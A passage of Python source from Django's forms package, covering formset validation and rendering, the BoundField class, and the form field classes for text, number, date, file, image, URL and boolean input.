        return [self.forms[i[0]] for i in self._ordering]

    @classmethod
    def get_default_prefix(cls):
        return 'form'

    def non_form_errors(self):
        """
        Returns an ErrorList of errors that aren't associated with a particular
        form -- i.e., from formset.clean(). Returns an empty ErrorList if there
        are none.
        """
        if self._non_form_errors is None:
            self.full_clean()
        return self._non_form_errors

    @property
    def errors(self):
        """
        Returns a list of form.errors for every form in self.forms.
        """
        if self._errors is None:
            self.full_clean()
        return self._errors

    def total_error_count(self):
        """
        Returns the number of errors across all forms in the formset.
        """
        return len(self.non_form_errors()) +\
            sum(len(form_errors) for form_errors in self.errors)

    def _should_delete_form(self, form):
        """
        Returns whether or not the form was marked for deletion.
        """
        return form.cleaned_data.get(DELETION_FIELD_NAME, False)

    def is_valid(self):
        """
        Returns True if every form in self.forms is valid.
        """
        if not self.is_bound:
            return False
        # We loop over every form.errors here rather than short circuiting on the
        # first failure to make sure validation gets triggered for every form.
        forms_valid = True
        # This triggers a full clean.
        self.errors
        for i in range(0, self.total_form_count()):
            form = self.forms[i]
            if self.can_delete:
                if self._should_delete_form(form):
                    # This form is going to be deleted so any of its errors
                    # should not cause the entire formset to be invalid.
                    continue
            forms_valid &= form.is_valid()
        return forms_valid and not self.non_form_errors()

    def full_clean(self):
        """
        Cleans all of self.data and populates self._errors and
        self._non_form_errors.
        """
        self._errors = []
        self._non_form_errors = self.error_class()
        empty_forms_count = 0

        if not self.is_bound:  # Stop further processing.
            return
        for i in range(0, self.total_form_count()):
            form = self.forms[i]
            if not form.has_changed():
                empty_forms_count += 1

            self._errors.append(form.errors)
        try:
            if (self.validate_max and
                    self.total_form_count() - len(self.deleted_forms) > self.max_num) or \
                    self.management_form.cleaned_data[TOTAL_FORM_COUNT] > self.absolute_max:
                raise ValidationError(ungettext(
                    "Please submit %d or fewer forms.",
                    "Please submit %d or fewer forms.", self.max_num) % self.max_num,
                    code='too_many_forms',
                )
            if (self.validate_min and
                    self.total_form_count() - len(self.deleted_forms) - empty_forms_count < self.min_num):
                raise ValidationError(ungettext(
                    "Please submit %d or more forms.",
                    "Please submit %d or more forms.", self.min_num) % self.min_num,
                    code='too_few_forms')
            # Give self.clean() a chance to do cross-form validation.
            self.clean()
        except ValidationError as e:
            self._non_form_errors = self.error_class(e.error_list)

    def clean(self):
        """
        Hook for doing any extra formset-wide cleaning after Form.clean() has
        been called on every form. Any ValidationError raised by this method
        will not be associated with a particular form; it will be accessible
        via formset.non_form_errors()
        """
        pass

    def has_changed(self):
        """
        Returns true if data in any form differs from initial.
        """
        return any(form.has_changed() for form in self)

    def add_fields(self, form, index):
        """A hook for adding extra fields on to each form instance."""
        if self.can_order:
            # Only pre-fill the ordering field for initial forms.
            if index is not None and index < self.initial_form_count():
                form.fields[ORDERING_FIELD_NAME] = IntegerField(label=_('Order'), initial=index + 1, required=False)
            else:
                form.fields[ORDERING_FIELD_NAME] = IntegerField(label=_('Order'), required=False)
        if self.can_delete:
            form.fields[DELETION_FIELD_NAME] = BooleanField(label=_('Delete'), required=False)

    def add_prefix(self, index):
        return '%s-%s' % (self.prefix, index)

    def is_multipart(self):
        """
        Returns True if the formset needs to be multipart, i.e. it
        has FileInput. Otherwise, False.
        """
        if self.forms:
            return self.forms[0].is_multipart()
        else:
            return self.empty_form.is_multipart()

    @property
    def media(self):
        # All the forms on a FormSet are the same, so you only need to
        # interrogate the first form for media.
        if self.forms:
            return self.forms[0].media
        else:
            return self.empty_form.media

    def as_table(self):
        "Returns this formset rendered as HTML <tr>s -- excluding the <table></table>."
        # XXX: there is no semantic division between forms here, there
        # probably should be. It might make sense to render each form as a
        # table row with each field as a td.
        forms = ' '.join(form.as_table() for form in self)
        return mark_safe('\n'.join([six.text_type(self.management_form), forms]))

    def as_p(self):
        "Returns this formset rendered as HTML <p>s."
        forms = ' '.join(form.as_p() for form in self)
        return mark_safe('\n'.join([six.text_type(self.management_form), forms]))

    def as_ul(self):
        "Returns this formset rendered as HTML <li>s."
        forms = ' '.join(form.as_ul() for form in self)
        return mark_safe('\n'.join([six.text_type(self.management_form), forms]))


def formset_factory(form, formset=BaseFormSet, extra=1, can_order=False,
                    can_delete=False, max_num=None, validate_max=False,
                    min_num=None, validate_min=False):
    """Return a FormSet for the given form class."""
    if min_num is None:
        min_num = DEFAULT_MIN_NUM
    if max_num is None:
        max_num = DEFAULT_MAX_NUM
    # hard limit on forms instantiated, to prevent memory-exhaustion attacks
    # limit is simply max_num + DEFAULT_MAX_NUM (which is 2*DEFAULT_MAX_NUM
    # if max_num is None in the first place)
    absolute_max = max_num + DEFAULT_MAX_NUM
    attrs = {'form': form, 'extra': extra,
             'can_order': can_order, 'can_delete': can_delete,
             'min_num': min_num, 'max_num': max_num,
             'absolute_max': absolute_max, 'validate_min': validate_min,
             'validate_max': validate_max}
    return type(form.__name__ + str('FormSet'), (formset,), attrs)


def all_valid(formsets):
    """Returns true if every formset in formsets is valid."""
    valid = True
    for formset in formsets:
        if not formset.is_valid():
            valid = False
    return valid






from __future__ import unicode_literals

import datetime

from django.forms.utils import flatatt, pretty_name
from django.forms.widgets import Textarea, TextInput
from django.utils import six
from django.utils.encoding import (
    force_text, python_2_unicode_compatible, smart_text,
)
from django.utils.functional import cached_property
from django.utils.html import conditional_escape, format_html, html_safe
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy as _

__all__ = ('BoundField',)


@html_safe
@python_2_unicode_compatible
class BoundField(object):
    "A Field plus data"
    def __init__(self, form, field, name):
        self.form = form
        self.field = field
        self.name = name
        self.html_name = form.add_prefix(name)
        self.html_initial_name = form.add_initial_prefix(name)
        self.html_initial_id = form.add_initial_prefix(self.auto_id)
        if self.field.label is None:
            self.label = pretty_name(name)
        else:
            self.label = self.field.label
        self.help_text = field.help_text or ''

    def __str__(self):
        """Renders this field as an HTML widget."""
        if self.field.show_hidden_initial:
            return self.as_widget() + self.as_hidden(only_initial=True)
        return self.as_widget()

    @cached_property
    def subwidgets(self):
        """
        Most widgets yield a single subwidget, but others like RadioSelect and
        CheckboxSelectMultiple produce one subwidget for each choice.

        This property is cached so that only one database query occurs when
        rendering ModelChoiceFields.
        """
        id_ = self.field.widget.attrs.get('id') or self.auto_id
        attrs = {'id': id_} if id_ else {}
        attrs = self.build_widget_attrs(attrs)
        return list(self.field.widget.subwidgets(self.html_name, self.value(), attrs))

    def __iter__(self):
        return iter(self.subwidgets)

    def __len__(self):
        return len(self.subwidgets)

    def __getitem__(self, idx):
        # Prevent unnecessary reevaluation when accessing BoundField's attrs
        # from templates.
        if not isinstance(idx, six.integer_types + (slice,)):
            raise TypeError
        return self.subwidgets[idx]

    @property
    def errors(self):
        """
        Returns an ErrorList for this field. Returns an empty ErrorList
        if there are none.
        """
        return self.form.errors.get(self.name, self.form.error_class())

    def as_widget(self, widget=None, attrs=None, only_initial=False):
        """
        Renders the field by rendering the passed widget, adding any HTML
        attributes passed as attrs.  If no widget is specified, then the
        field's default widget will be used.
        """
        if not widget:
            widget = self.field.widget

        if self.field.localize:
            widget.is_localized = True

        attrs = attrs or {}
        attrs = self.build_widget_attrs(attrs, widget)
        auto_id = self.auto_id
        if auto_id and 'id' not in attrs and 'id' not in widget.attrs:
            if not only_initial:
                attrs['id'] = auto_id
            else:
                attrs['id'] = self.html_initial_id

        if not only_initial:
            name = self.html_name
        else:
            name = self.html_initial_name
        return force_text(widget.render(name, self.value(), attrs=attrs))

    def as_text(self, attrs=None, **kwargs):
        """
        Returns a string of HTML for representing this as an <input type="text">.
        """
        return self.as_widget(TextInput(), attrs, **kwargs)

    def as_textarea(self, attrs=None, **kwargs):
        "Returns a string of HTML for representing this as a <textarea>."
        return self.as_widget(Textarea(), attrs, **kwargs)

    def as_hidden(self, attrs=None, **kwargs):
        """
        Returns a string of HTML for representing this as an <input type="hidden">.
        """
        return self.as_widget(self.field.hidden_widget(), attrs, **kwargs)

    @property
    def data(self):
        """
        Returns the data for this BoundField, or None if it wasn't given.
        """
        return self.field.widget.value_from_datadict(self.form.data, self.form.files, self.html_name)

    def value(self):
        """
        Returns the value for this BoundField, using the initial value if
        the form is not bound or the data otherwise.
        """
        data = self.initial
        if self.form.is_bound:
            data = self.field.bound_data(self.data, data)
        return self.field.prepare_value(data)

    def label_tag(self, contents=None, attrs=None, label_suffix=None):
        """
        Wraps the given contents in a <label>, if the field has an ID attribute.
        contents should be 'mark_safe'd to avoid HTML escaping. If contents
        aren't given, uses the field's HTML-escaped label.

        If attrs are given, they're used as HTML attributes on the <label> tag.

        label_suffix allows overriding the form's label_suffix.
        """
        contents = contents or self.label
        if label_suffix is None:
            label_suffix = (self.field.label_suffix if self.field.label_suffix is not None
                            else self.form.label_suffix)
        # Only add the suffix if the label does not end in punctuation.
        # Translators: If found as last label character, these punctuation
        # characters will prevent the default label_suffix to be appended to the label
        if label_suffix and contents and contents[-1] not in _(':?.!'):
            contents = format_html('{}{}', contents, label_suffix)
        widget = self.field.widget
        id_ = widget.attrs.get('id') or self.auto_id
        if id_:
            id_for_label = widget.id_for_label(id_)
            if id_for_label:
                attrs = dict(attrs or {}, **{'for': id_for_label})
            if self.field.required and hasattr(self.form, 'required_css_class'):
                attrs = attrs or {}
                if 'class' in attrs:
                    attrs['class'] += ' ' + self.form.required_css_class
                else:
                    attrs['class'] = self.form.required_css_class
            attrs = flatatt(attrs) if attrs else ''
            contents = format_html('<label{}>{}</label>', attrs, contents)
        else:
            contents = conditional_escape(contents)
        return mark_safe(contents)

    def css_classes(self, extra_classes=None):
        """
        Returns a string of space-separated CSS classes for this field.
        """
        if hasattr(extra_classes, 'split'):
            extra_classes = extra_classes.split()
        extra_classes = set(extra_classes or [])
        if self.errors and hasattr(self.form, 'error_css_class'):
            extra_classes.add(self.form.error_css_class)
        if self.field.required and hasattr(self.form, 'required_css_class'):
            extra_classes.add(self.form.required_css_class)
        return ' '.join(extra_classes)

    @property
    def is_hidden(self):
        "Returns True if this BoundField's widget is hidden."
        return self.field.widget.is_hidden

    @property
    def auto_id(self):
        """
        Calculates and returns the ID attribute for this BoundField, if the
        associated Form has specified auto_id. Returns an empty string otherwise.
        """
        auto_id = self.form.auto_id
        if auto_id and '%s' in smart_text(auto_id):
            return smart_text(auto_id) % self.html_name
        elif auto_id:
            return self.html_name
        return ''

    @property
    def id_for_label(self):
        """
        Wrapper around the field widget's `id_for_label` method.
        Useful, for example, for focusing on this field regardless of whether
        it has a single widget or a MultiWidget.
        """
        widget = self.field.widget
        id_ = widget.attrs.get('id') or self.auto_id
        return widget.id_for_label(id_)

    @cached_property
    def initial(self):
        data = self.form.get_initial_for_field(self.field, self.name)
        # If this is an auto-generated default date, nix the microseconds for
        # standardized handling. See #22502.
        if (isinstance(data, (datetime.datetime, datetime.time)) and
                not self.field.widget.supports_microseconds):
            data = data.replace(microsecond=0)
        return data

    def build_widget_attrs(self, attrs, widget=None):
        if not widget:
            widget = self.field.widget
        attrs = dict(attrs)  # Copy attrs to avoid modifying the argument.
        if widget.use_required_attribute(self.initial) and self.field.required and self.form.use_required_attribute:
            attrs['required'] = True
        if self.field.disabled:
            attrs['disabled'] = True
        return attrs






"""
Django validation and HTML form handling.
"""

from django.core.exceptions import ValidationError  # NOQA
from django.forms.boundfield import *  # NOQA
from django.forms.fields import *  # NOQA
from django.forms.forms import *  # NOQA
from django.forms.formsets import *  # NOQA
from django.forms.models import *  # NOQA
from django.forms.widgets import *  # NOQA






"""
Field classes.
"""

from __future__ import unicode_literals

import copy
import datetime
import itertools
import os
import re
import sys
import uuid
from decimal import Decimal, DecimalException
from io import BytesIO

from django.core import validators
from django.core.exceptions import ValidationError
# Provide this import for backwards compatibility.
from django.core.validators import EMPTY_VALUES  # NOQA
from django.forms.boundfield import BoundField
from django.forms.utils import from_current_timezone, to_current_timezone
from django.forms.widgets import (
    FILE_INPUT_CONTRADICTION, CheckboxInput, ClearableFileInput, DateInput,
    DateTimeInput, EmailInput, HiddenInput, MultipleHiddenInput,
    NullBooleanSelect, NumberInput, Select, SelectMultiple,
    SplitDateTimeWidget, SplitHiddenDateTimeWidget, TextInput, TimeInput,
    URLInput,
)
from django.utils import formats, six
from django.utils.dateparse import parse_duration
from django.utils.duration import duration_string
from django.utils.encoding import force_str, force_text, smart_text
from django.utils.ipv6 import clean_ipv6_address
from django.utils.six.moves.urllib.parse import urlsplit, urlunsplit
from django.utils.translation import ugettext_lazy as _, ungettext_lazy

__all__ = (
    'Field', 'CharField', 'IntegerField',
    'DateField', 'TimeField', 'DateTimeField', 'DurationField',
    'RegexField', 'EmailField', 'FileField', 'ImageField', 'URLField',
    'BooleanField', 'NullBooleanField', 'ChoiceField', 'MultipleChoiceField',
    'ComboField', 'MultiValueField', 'FloatField', 'DecimalField',
    'SplitDateTimeField', 'GenericIPAddressField', 'FilePathField',
    'SlugField', 'TypedChoiceField', 'TypedMultipleChoiceField', 'UUIDField',
)


class Field(object):
    widget = TextInput  # Default widget to use when rendering this type of Field.
    hidden_widget = HiddenInput  # Default widget to use when rendering this as "hidden".
    default_validators = []  # Default set of validators
    # Add an 'invalid' entry to default_error_message if you want a specific
    # field error message not raised by the field validators.
    default_error_messages = {
        'required': _('This field is required.'),
    }
    empty_values = list(validators.EMPTY_VALUES)

    # Tracks each time a Field instance is created. Used to retain order.
    creation_counter = 0

    def __init__(self, required=True, widget=None, label=None, initial=None,
                 help_text='', error_messages=None, show_hidden_initial=False,
                 validators=[], localize=False, disabled=False, label_suffix=None):
        # required -- Boolean that specifies whether the field is required.
        #             True by default.
        # widget -- A Widget class, or instance of a Widget class, that should
        #           be used for this Field when displaying it. Each Field has a
        #           default Widget that it'll use if you don't specify this. In
        #           most cases, the default widget is TextInput.
        # label -- A verbose name for this field, for use in displaying this
        #          field in a form. By default, Django will use a "pretty"
        #          version of the form field name, if the Field is part of a
        #          Form.
        # initial -- A value to use in this Field's initial display. This value
        #            is *not* used as a fallback if data isn't given.
        # help_text -- An optional string to use as "help text" for this Field.
        # error_messages -- An optional dictionary to override the default
        #                   messages that the field will raise.
        # show_hidden_initial -- Boolean that specifies if it is needed to render a
        #                        hidden widget with initial value after widget.
        # validators -- List of additional validators to use
        # localize -- Boolean that specifies if the field should be localized.
        # disabled -- Boolean that specifies whether the field is disabled, that
        #             is its widget is shown in the form but not editable.
        # label_suffix -- Suffix to be added to the label. Overrides
        #                 form's label_suffix.
        self.required, self.label, self.initial = required, label, initial
        self.show_hidden_initial = show_hidden_initial
        self.help_text = help_text
        self.disabled = disabled
        self.label_suffix = label_suffix
        widget = widget or self.widget
        if isinstance(widget, type):
            widget = widget()

        # Trigger the localization machinery if needed.
        self.localize = localize
        if self.localize:
            widget.is_localized = True

        # Let the widget know whether it should display as required.
        widget.is_required = self.required

        # Hook into self.widget_attrs() for any Field-specific HTML attributes.
        extra_attrs = self.widget_attrs(widget)
        if extra_attrs:
            widget.attrs.update(extra_attrs)

        self.widget = widget

        # Increase the creation counter, and save our local copy.
        self.creation_counter = Field.creation_counter
        Field.creation_counter += 1

        messages = {}
        for c in reversed(self.__class__.__mro__):
            messages.update(getattr(c, 'default_error_messages', {}))
        messages.update(error_messages or {})
        self.error_messages = messages

        self.validators = list(itertools.chain(self.default_validators, validators))

        super(Field, self).__init__()

    def prepare_value(self, value):
        return value

    def to_python(self, value):
        return value

    def validate(self, value):
        if value in self.empty_values and self.required:
            raise ValidationError(self.error_messages['required'], code='required')

    def run_validators(self, value):
        if value in self.empty_values:
            return
        errors = []
        for v in self.validators:
            try:
                v(value)
            except ValidationError as e:
                if hasattr(e, 'code') and e.code in self.error_messages:
                    e.message = self.error_messages[e.code]
                errors.extend(e.error_list)
        if errors:
            raise ValidationError(errors)

    def clean(self, value):
        """
        Validates the given value and returns its "cleaned" value as an
        appropriate Python object.

        Raises ValidationError for any errors.
        """
        value = self.to_python(value)
        self.validate(value)
        self.run_validators(value)
        return value

    def bound_data(self, data, initial):
        """
        Return the value that should be shown for this field on render of a
        bound form, given the submitted POST data for the field and the initial
        data, if any.

        For most fields, this will simply be data; FileFields need to handle it
        a bit differently.
        """
        if self.disabled:
            return initial
        return data

    def widget_attrs(self, widget):
        """
        Given a Widget instance (*not* a Widget class), returns a dictionary of
        any HTML attributes that should be added to the Widget, based on this
        Field.
        """
        return {}

    def has_changed(self, initial, data):
        """
        Return True if data differs from initial.
        """
        try:
            data = self.to_python(data)
            if hasattr(self, '_coerce'):
                return self._coerce(data) != self._coerce(initial)
        except ValidationError:
            return True
        # For purposes of seeing whether something has changed, None is
        # the same as an empty string, if the data or initial value we get
        # is None, replace it with ''.
        initial_value = initial if initial is not None else ''
        data_value = data if data is not None else ''
        return initial_value != data_value

    def get_bound_field(self, form, field_name):
        """
        Return a BoundField instance that will be used when accessing the form
        field in a template.
        """
        return BoundField(form, self, field_name)

    def __deepcopy__(self, memo):
        result = copy.copy(self)
        memo[id(self)] = result
        result.widget = copy.deepcopy(self.widget, memo)
        result.validators = self.validators[:]
        return result


class CharField(Field):
    def __init__(self, max_length=None, min_length=None, strip=True, empty_value='', *args, **kwargs):
        self.max_length = max_length
        self.min_length = min_length
        self.strip = strip
        self.empty_value = empty_value
        super(CharField, self).__init__(*args, **kwargs)
        if min_length is not None:
            self.validators.append(validators.MinLengthValidator(int(min_length)))
        if max_length is not None:
            self.validators.append(validators.MaxLengthValidator(int(max_length)))

    def to_python(self, value):
        "Returns a Unicode object."
        if value in self.empty_values:
            return self.empty_value
        value = force_text(value)
        if self.strip:
            value = value.strip()
        return value

    def widget_attrs(self, widget):
        attrs = super(CharField, self).widget_attrs(widget)
        if self.max_length is not None and not widget.is_hidden:
            # The HTML attribute is maxlength, not max_length.
            attrs['maxlength'] = str(self.max_length)
        if self.min_length is not None and not widget.is_hidden:
            # The HTML attribute is minlength, not min_length.
            attrs['minlength'] = str(self.min_length)
        return attrs


class IntegerField(Field):
    widget = NumberInput
    default_error_messages = {
        'invalid': _('Enter a whole number.'),
    }
    re_decimal = re.compile(r'\.0*\s*$')

    def __init__(self, max_value=None, min_value=None, *args, **kwargs):
        self.max_value, self.min_value = max_value, min_value
        if kwargs.get('localize') and self.widget == NumberInput:
            # Localized number input is not well supported on most browsers
            kwargs.setdefault('widget', super(IntegerField, self).widget)
        super(IntegerField, self).__init__(*args, **kwargs)

        if max_value is not None:
            self.validators.append(validators.MaxValueValidator(max_value))
        if min_value is not None:
            self.validators.append(validators.MinValueValidator(min_value))

    def to_python(self, value):
        """
        Validates that int() can be called on the input. Returns the result
        of int(). Returns None for empty values.
        """
        value = super(IntegerField, self).to_python(value)
        if value in self.empty_values:
            return None
        if self.localize:
            value = formats.sanitize_separators(value)
        # Strip trailing decimal and zeros.
        try:
            value = int(self.re_decimal.sub('', force_text(value)))
        except (ValueError, TypeError):
            raise ValidationError(self.error_messages['invalid'], code='invalid')
        return value

    def widget_attrs(self, widget):
        attrs = super(IntegerField, self).widget_attrs(widget)
        if isinstance(widget, NumberInput):
            if self.min_value is not None:
                attrs['min'] = self.min_value
            if self.max_value is not None:
                attrs['max'] = self.max_value
        return attrs


class FloatField(IntegerField):
    default_error_messages = {
        'invalid': _('Enter a number.'),
    }

    def to_python(self, value):
        """
        Validates that float() can be called on the input. Returns the result
        of float(). Returns None for empty values.
        """
        value = super(IntegerField, self).to_python(value)
        if value in self.empty_values:
            return None
        if self.localize:
            value = formats.sanitize_separators(value)
        try:
            value = float(value)
        except (ValueError, TypeError):
            raise ValidationError(self.error_messages['invalid'], code='invalid')
        return value

    def validate(self, value):
        super(FloatField, self).validate(value)

        # Check for NaN (which is the only thing not equal to itself) and +/- infinity
        if value != value or value in (Decimal('Inf'), Decimal('-Inf')):
            raise ValidationError(self.error_messages['invalid'], code='invalid')

        return value

    def widget_attrs(self, widget):
        attrs = super(FloatField, self).widget_attrs(widget)
        if isinstance(widget, NumberInput) and 'step' not in widget.attrs:
            attrs.setdefault('step', 'any')
        return attrs


class DecimalField(IntegerField):
    default_error_messages = {
        'invalid': _('Enter a number.'),
    }

    def __init__(self, max_value=None, min_value=None, max_digits=None, decimal_places=None, *args, **kwargs):
        self.max_digits, self.decimal_places = max_digits, decimal_places
        super(DecimalField, self).__init__(max_value, min_value, *args, **kwargs)
        self.validators.append(validators.DecimalValidator(max_digits, decimal_places))

    def to_python(self, value):
        """
        Validates that the input is a decimal number. Returns a Decimal
        instance. Returns None for empty values. Ensures that there are no more
        than max_digits in the number, and no more than decimal_places digits
        after the decimal point.
        """
        if value in self.empty_values:
            return None
        if self.localize:
            value = formats.sanitize_separators(value)
        value = smart_text(value).strip()
        try:
            value = Decimal(value)
        except DecimalException:
            raise ValidationError(self.error_messages['invalid'], code='invalid')
        return value

    def validate(self, value):
        super(DecimalField, self).validate(value)
        if value in self.empty_values:
            return
        # Check for NaN, Inf and -Inf values. We can't compare directly for NaN,
        # since it is never equal to itself. However, NaN is the only value that
        # isn't equal to itself, so we can use this to identify NaN
        if value != value or value == Decimal("Inf") or value == Decimal("-Inf"):
            raise ValidationError(self.error_messages['invalid'], code='invalid')

    def widget_attrs(self, widget):
        attrs = super(DecimalField, self).widget_attrs(widget)
        if isinstance(widget, NumberInput) and 'step' not in widget.attrs:
            if self.decimal_places is not None:
                # Use exponential notation for small values since they might
                # be parsed as 0 otherwise. ref #20765
                step = str(Decimal('1') / 10 ** self.decimal_places).lower()
            else:
                step = 'any'
            attrs.setdefault('step', step)
        return attrs


class BaseTemporalField(Field):

    def __init__(self, input_formats=None, *args, **kwargs):
        super(BaseTemporalField, self).__init__(*args, **kwargs)
        if input_formats is not None:
            self.input_formats = input_formats

    def to_python(self, value):
        # Try to coerce the value to unicode.
        unicode_value = force_text(value, strings_only=True)
        if isinstance(unicode_value, six.text_type):
            value = unicode_value.strip()
        # If unicode, try to strptime against each input format.
        if isinstance(value, six.text_type):
            for format in self.input_formats:
                try:
                    return self.strptime(value, format)
                except (ValueError, TypeError):
                    continue
        raise ValidationError(self.error_messages['invalid'], code='invalid')

    def strptime(self, value, format):
        raise NotImplementedError('Subclasses must define this method.')


class DateField(BaseTemporalField):
    widget = DateInput
    input_formats = formats.get_format_lazy('DATE_INPUT_FORMATS')
    default_error_messages = {
        'invalid': _('Enter a valid date.'),
    }

    def to_python(self, value):
        """
        Validates that the input can be converted to a date. Returns a Python
        datetime.date object.
        """
        if value in self.empty_values:
            return None
        if isinstance(value, datetime.datetime):
            return value.date()
        if isinstance(value, datetime.date):
            return value
        return super(DateField, self).to_python(value)

    def strptime(self, value, format):
        return datetime.datetime.strptime(force_str(value), format).date()


class TimeField(BaseTemporalField):
    widget = TimeInput
    input_formats = formats.get_format_lazy('TIME_INPUT_FORMATS')
    default_error_messages = {
        'invalid': _('Enter a valid time.')
    }

    def to_python(self, value):
        """
        Validates that the input can be converted to a time. Returns a Python
        datetime.time object.
        """
        if value in self.empty_values:
            return None
        if isinstance(value, datetime.time):
            return value
        return super(TimeField, self).to_python(value)

    def strptime(self, value, format):
        return datetime.datetime.strptime(force_str(value), format).time()


class DateTimeField(BaseTemporalField):
    widget = DateTimeInput
    input_formats = formats.get_format_lazy('DATETIME_INPUT_FORMATS')
    default_error_messages = {
        'invalid': _('Enter a valid date/time.'),
    }

    def prepare_value(self, value):
        if isinstance(value, datetime.datetime):
            value = to_current_timezone(value)
        return value

    def to_python(self, value):
        """
        Validates that the input can be converted to a datetime. Returns a
        Python datetime.datetime object.
        """
        if value in self.empty_values:
            return None
        if isinstance(value, datetime.datetime):
            return from_current_timezone(value)
        if isinstance(value, datetime.date):
            result = datetime.datetime(value.year, value.month, value.day)
            return from_current_timezone(result)
        result = super(DateTimeField, self).to_python(value)
        return from_current_timezone(result)

    def strptime(self, value, format):
        return datetime.datetime.strptime(force_str(value), format)


class DurationField(Field):
    default_error_messages = {
        'invalid': _('Enter a valid duration.'),
    }

    def prepare_value(self, value):
        if isinstance(value, datetime.timedelta):
            return duration_string(value)
        return value

    def to_python(self, value):
        if value in self.empty_values:
            return None
        if isinstance(value, datetime.timedelta):
            return value
        value = parse_duration(force_text(value))
        if value is None:
            raise ValidationError(self.error_messages['invalid'], code='invalid')
        return value


class RegexField(CharField):
    def __init__(self, regex, max_length=None, min_length=None, error_message=None, *args, **kwargs):
        """
        regex can be either a string or a compiled regular expression object.
        error_message is an optional error message to use, if
        'Enter a valid value' is too generic for you.
        """
        kwargs.setdefault('strip', False)
        super(RegexField, self).__init__(max_length, min_length, *args, **kwargs)
        self._set_regex(regex)

    def _get_regex(self):
        return self._regex

    def _set_regex(self, regex):
        if isinstance(regex, six.string_types):
            regex = re.compile(regex, re.UNICODE)
        self._regex = regex
        if hasattr(self, '_regex_validator') and self._regex_validator in self.validators:
            self.validators.remove(self._regex_validator)
        self._regex_validator = validators.RegexValidator(regex=regex)
        self.validators.append(self._regex_validator)

    regex = property(_get_regex, _set_regex)


class EmailField(CharField):
    widget = EmailInput
    default_validators = [validators.validate_email]

    def __init__(self, *args, **kwargs):
        super(EmailField, self).__init__(*args, strip=True, **kwargs)


class FileField(Field):
    widget = ClearableFileInput
    default_error_messages = {
        'invalid': _("No file was submitted. Check the encoding type on the form."),
        'missing': _("No file was submitted."),
        'empty': _("The submitted file is empty."),
        'max_length': ungettext_lazy(
            'Ensure this filename has at most %(max)d character (it has %(length)d).',
            'Ensure this filename has at most %(max)d characters (it has %(length)d).',
            'max'),
        'contradiction': _('Please either submit a file or check the clear checkbox, not both.')
    }

    def __init__(self, *args, **kwargs):
        self.max_length = kwargs.pop('max_length', None)
        self.allow_empty_file = kwargs.pop('allow_empty_file', False)
        super(FileField, self).__init__(*args, **kwargs)

    def to_python(self, data):
        if data in self.empty_values:
            return None

        # UploadedFile objects should have name and size attributes.
        try:
            file_name = data.name
            file_size = data.size
        except AttributeError:
            raise ValidationError(self.error_messages['invalid'], code='invalid')

        if self.max_length is not None and len(file_name) > self.max_length:
            params = {'max': self.max_length, 'length': len(file_name)}
            raise ValidationError(self.error_messages['max_length'], code='max_length', params=params)
        if not file_name:
            raise ValidationError(self.error_messages['invalid'], code='invalid')
        if not self.allow_empty_file and not file_size:
            raise ValidationError(self.error_messages['empty'], code='empty')

        return data

    def clean(self, data, initial=None):
        # If the widget got contradictory inputs, we raise a validation error
        if data is FILE_INPUT_CONTRADICTION:
            raise ValidationError(self.error_messages['contradiction'], code='contradiction')
        # False means the field value should be cleared; further validation is
        # not needed.
        if data is False:
            if not self.required:
                return False
            # If the field is required, clearing is not possible (the widget
            # shouldn't return False data in that case anyway). False is not
            # in self.empty_value; if a False value makes it this far
            # it should be validated from here on out as None (so it will be
            # caught by the required check).
            data = None
        if not data and initial:
            return initial
        return super(FileField, self).clean(data)

    def bound_data(self, data, initial):
        if data in (None, FILE_INPUT_CONTRADICTION):
            return initial
        return data

    def has_changed(self, initial, data):
        if data is None:
            return False
        return True


class ImageField(FileField):
    default_error_messages = {
        'invalid_image': _(
            "Upload a valid image. The file you uploaded was either not an "
            "image or a corrupted image."
        ),
    }

    def to_python(self, data):
        """
        Checks that the file-upload field data contains a valid image (GIF, JPG,
        PNG, possibly others -- whatever the Python Imaging Library supports).
        """
        f = super(ImageField, self).to_python(data)
        if f is None:
            return None

        from PIL import Image

        # We need to get a file object for Pillow. We might have a path or we might
        # have to read the data into memory.
        if hasattr(data, 'temporary_file_path'):
            file = data.temporary_file_path()
        else:
            if hasattr(data, 'read'):
                file = BytesIO(data.read())
            else:
                file = BytesIO(data['content'])

        try:
            # load() could spot a truncated JPEG, but it loads the entire
            # image in memory, which is a DoS vector. See #3848 and #18520.
            image = Image.open(file)
            # verify() must be called immediately after the constructor.
            image.verify()

            # Annotating so subclasses can reuse it for their own validation
            f.image = image
            # Pillow doesn't detect the MIME type of all formats. In those
            # cases, content_type will be None.
            f.content_type = Image.MIME.get(image.format)
        except Exception:
            # Pillow doesn't recognize it as an image.
            six.reraise(ValidationError, ValidationError(
                self.error_messages['invalid_image'],
                code='invalid_image',
            ), sys.exc_info()[2])
        if hasattr(f, 'seek') and callable(f.seek):
            f.seek(0)
        return f


class URLField(CharField):
    widget = URLInput
    default_error_messages = {
        'invalid': _('Enter a valid URL.'),
    }
    default_validators = [validators.URLValidator()]

    def __init__(self, *args, **kwargs):
        super(URLField, self).__init__(*args, strip=True, **kwargs)

    def to_python(self, value):

        def split_url(url):
            """
            Returns a list of url parts via ``urlparse.urlsplit`` (or raises a
            ``ValidationError`` exception for certain).
            """
            try:
                return list(urlsplit(url))
            except ValueError:
                # urlparse.urlsplit can raise a ValueError with some
                # misformatted URLs.
                raise ValidationError(self.error_messages['invalid'], code='invalid')

        value = super(URLField, self).to_python(value)
        if value:
            url_fields = split_url(value)
            if not url_fields[0]:
                # If no URL scheme given, assume http://
                url_fields[0] = 'http'
            if not url_fields[1]:
                # Assume that if no domain is provided, that the path segment
                # contains the domain.
                url_fields[1] = url_fields[2]
                url_fields[2] = ''
                # Rebuild the url_fields list, since the domain segment may now
                # contain the path too.
                url_fields = split_url(urlunsplit(url_fields))
            value = urlunsplit(url_fields)
        return value


class BooleanField(Field):
    widget = CheckboxInput

    def to_python(self, value):
        """Returns a Python boolean object."""
        # Explicitly check for the string 'False', which is what a hidden field
        # will submit for False. Also check for '0', since this is what
        # RadioSelect will provide. Because bool("True") == bool('1') == True,
        # we don't need to handle that explicitly.
        if isinstance(value, six.string_types) and value.lower() in ('false', '0'):
            value = False
        else:
            value = bool(value)
        return super(BooleanField, self).to_python(value)

    def validate(self, value):
        if not value and self.required:
            raise ValidationError(self.error_messages['required'], code='required')

    def has_changed(self, initial, data):
        # Sometimes data or initial may be a string equivalent of a boolean
        # so we should run it through to_python first to get a boolean value
        return self.to_python(initial) != self.to_python(data)


class NullBooleanField(BooleanField):
    """
    A field whose valid values are None, True and False. Invalid values are
    cleaned to None.
    """
